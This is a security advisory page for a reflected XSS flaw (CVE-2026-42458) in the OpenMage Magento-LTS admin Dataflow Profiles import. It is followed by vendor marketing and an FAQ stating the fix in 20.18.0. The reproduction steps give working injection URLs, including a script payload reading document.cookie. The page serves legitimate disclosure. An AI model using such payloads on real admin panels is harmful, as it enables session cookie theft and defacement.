Summary
A reflected XSS vulnerability was found under admin panel -> System -> Import/Export -> Dataflow - Profiles.
Steps to produce
Login to the admin panel
Go to the path
System -> Import/Export -> Dataflow - ProfilesSelect profile direction as
Import.Click on
Import CustomersUpload the file.
File Link: customer_20260212_204335.csv
Go back to
Run profile.Select the uploaded file and Click on
Run in Popup.One can see a URL like this
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import-20260215151125-1_customer_20260212_204335.csv/
One can see the filename getting reflection in HTML tags.
Inject an HTML tag and observe.
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/
One can see the tag is getting executed.
Proceed for XSS.
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E
- There is an XSS popup.
Cookie stealing, JS deface, many more
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-42458? CVE-2026-42458 is a medium-severity security vulnerability in openmage/magento-lts (composer), affecting versions <= 20.17.0. It is fixed in 20.18.0.
- Which versions of openmage/magento-lts are affected by CVE-2026-42458? openmage/magento-lts (composer) versions <= 20.17.0 is affected.
- Is there a fix for CVE-2026-42458? Yes. CVE-2026-42458 is fixed in 20.18.0. Upgrade to this version or later.
- Is CVE-2026-42458 exploitable, and should I be worried? Whether CVE-2026-42458 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-42458 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-42458? Upgrade
openmage/magento-ltsto 20.18.0 or later.